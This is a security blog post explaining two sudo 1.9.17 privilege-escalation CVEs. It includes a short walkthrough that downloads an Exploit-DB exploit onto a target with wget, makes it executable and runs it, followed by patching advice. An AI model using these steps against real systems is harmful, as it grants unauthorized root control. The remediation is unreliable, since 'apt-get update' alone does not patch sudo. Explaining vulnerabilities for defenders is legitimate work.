> ## Content Index
> Fetch the complete content index at: https://community.lesion.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# sudo 1.9.17 exploit - Privilege Escalation
- URL: https://community.lesion.io/sudo-1-9-17-exploit-privilege-escalation/
- Published: 2025-09-23T23:39:34.000Z
- Updated: 2025-09-23T23:39:34.000Z
- Author: sidonpc
- Tags: Exploits

⚠️

This post and others like it are strictly for educational purposes. Intended for security researchers, penetration testers, and ethical individuals. 

Two different privilege escalation exploits have been found for sudo version 1.9.17\. The associated CVE's for these exploits are 

```CVE
CVE-2025-32462
CVE-2025-32463
```

# What happened

On 06/30/2025 the NVD published CVE-2025-32462 which describes how an attacker can abuse sudo to execute commands on unintended machines. 

On 06/30/2025 the NVD published CVE-2025-32463 which describes how an attacker can abuse chroot to obtain root privileges. 

Both of these exploits were rated at a **high** severity. On 07/08/2025 the user Rich Mirch disclosed 2 different exploits for this sudo version. They can be located below.

[Sudo 1.9.17 Host Option - Elevation of PrivilegeSudo 1.9.17 Host Option - Elevation of Privilege. CVE-2025-32462 . local exploit for Linux platform![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/icon/favicon-3.ico)Exploit DatabaseRich Mirch![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/thumbnail/spider-orange-2.png)](https://www.exploit-db.com/exploits/52354?ref=community.lesion.io)

[Sudo chroot 1.9.17 - Local Privilege EscalationSudo chroot 1.9.17 - Local Privilege Escalation. CVE-2025-32463 . local exploit for Linux platform![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/icon/favicon-4.ico)Exploit DatabaseStratascale![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/thumbnail/spider-orange-3.png)](https://www.exploit-db.com/exploits/52352?ref=community.lesion.io)

# How to exploit

1. Download the exploit code to the vulnerable target.

```bash
wget https://www.exploit-db.com/raw/52354 
```

1. Change the name and give the exploit proper privileges.

```bash
mv 52354 exploit.sh && chmod +x exploit.sh
```

1. Exploit the payload.

![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/2025/09/image-44-1.png)

# Why these exploits are a big deal

This exploit is extremely easy to use and allows an attacker to go from a low-privilege user to the root user on a system. Effectively giving the attacker complete control over the system. Ensuring that your systems running outdated sudo versions are updated is very important. 

You can check you sudo version by running the following command. 

```bash
sudo --version
```

# How to remediate

Remediation is very straightforward running a regular update to the system will patch the outdated version.

```bash
# For debian based systems
sudo apt-get update
```

For most systems administrators this should be done on a routine basis based on the systems use case and your patch management policy. 

# Resources

[Sudo 1.9.17 Host Option - Elevation of PrivilegeSudo 1.9.17 Host Option - Elevation of Privilege. CVE-2025-32462 . local exploit for Linux platform![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/icon/favicon-5.ico)Exploit DatabaseRich Mirch![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/thumbnail/spider-orange-4.png)](https://www.exploit-db.com/exploits/52354?ref=community.lesion.io)

[Sudo chroot 1.9.17 - Local Privilege EscalationSudo chroot 1.9.17 - Local Privilege Escalation. CVE-2025-32463 . local exploit for Linux platform![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/icon/favicon-6.ico)Exploit DatabaseStratascale![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/thumbnail/spider-orange-5.png)](https://www.exploit-db.com/exploits/52352?ref=community.lesion.io)

[NVD - CVE-2025-32462![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/icon/apple-touch-icon-1.png)National Institute of Standards and Technology logo![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/thumbnail/us_flag_small-1.png)](https://nvd.nist.gov/vuln/detail/CVE-2025-32462?ref=community.lesion.io)

[NVD - CVE-2025-32463![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/icon/apple-touch-icon.png)National Institute of Standards and Technology logo![](https://storage.ghost.io/c/96/a1/96a15c67-4258-492c-96e7-7320df544bc9/content/images/thumbnail/us_flag_small.png)](https://nvd.nist.gov/vuln/detail/CVE-2025-32463?ref=community.lesion.io)